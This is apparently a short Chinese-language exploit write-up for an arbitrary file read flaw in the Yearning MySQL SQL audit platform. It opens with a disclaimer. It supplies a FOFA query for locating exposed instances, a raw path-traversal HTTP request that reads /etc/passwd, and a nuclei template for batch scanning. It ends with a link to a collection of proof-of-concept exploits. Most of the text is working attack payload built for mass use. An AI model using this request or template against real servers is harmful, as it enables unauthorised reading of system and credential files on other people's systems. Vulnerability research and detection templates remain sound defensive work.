免责声明:

本文内容为学习笔记分享,仅供技术学习参考,请勿用作违法用途,任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,与作者无关!!!

漏洞描述

Yearning MYSQL SQL语句审核平台。提供查询审计,SQL审核,SQL回滚,自定义工作流等多种功能。该平台存在任意文件读取漏洞。

fofa语句

app="Yearning"

漏洞复现

打开页面

1708048355475.png

构造payload

1708048406878.png

GET /front/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd HTTP/1.1
Host: 
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept: */*
Connection: close
Accept-Encoding: gzip, deflate
Connection: close

nuclei批量验证

1708048456799.png

id: Yearning-file-reading

info:
  name: Yearning存在任意文件读取漏洞
  author: changge
  severity: high
  description: Yearning MYSQL SQL语句审核平台。提供查询审计,SQL审核,SQL回滚,自定义工作流等多种功能。该平台存在任意文件读取漏洞
  metadata:
    fofa-query: app="Yearning"


requests:
  - raw:
      - |
        GET /front/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
        Accept: */*
        Connection: Keep-Alive

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'root'
      - type: status
        status:
          - 200

github poc总汇地址:https://github.com/AYcg/poc